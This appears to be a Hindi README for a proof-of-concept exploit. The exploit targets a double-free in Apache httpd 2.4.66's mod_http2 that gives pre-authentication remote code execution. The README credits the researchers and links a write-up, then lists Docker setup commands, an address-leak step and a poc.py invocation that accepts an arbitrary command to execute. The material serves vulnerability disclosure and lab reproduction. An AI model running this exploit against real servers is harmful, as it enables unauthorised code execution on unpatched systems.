
Apache httpd mod_http2 स्ट्रीम क्लीनअप में डबल-फ्री जो प्री-ऑथ RCE की ओर ले जाता है।
Apache httpd mod_http2 स्ट्रीम क्लीनअप में डबल-फ्री जो पूर्व-प्रमाणीकरण RCE की ओर ले जाता है।
प्रभावित: httpd 2.4.66 जिसमें mod_http2 और मल्टी-थ्रेडेड MPM (event/worker) है। ठीक किया गया: 2.4.67 में।
पाया और रिपोर्ट किया Bartlomiej Dmitruk (striga.ai) और Stanislaw Strzalkowski (isec.pl) ने।
विवरण: https://striga.ai/research/apache-httpd-mod-http2-double-free
कमजोर वातावरण बनाएँ और प्रारंभ करें:
docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
system() और scoreboard पते प्राप्त करें:
docker exec httpd-poc python3 /getaddr.py 1
एक्सप्लॉइट चलाएँ:
python3 poc.py --host localhost --port 9443 \
--cmd 'date >> /tmp/win' --workers 64 \
--system <system_addr> --scoreboard <scoreboard_addr>
सत्यापित करें (निष्पादन संभाव्य है, इसमें मिनट से लेकर घंटे लग सकते हैं):
docker exec httpd-poc cat /tmp/win
docker rm -f httpd-poc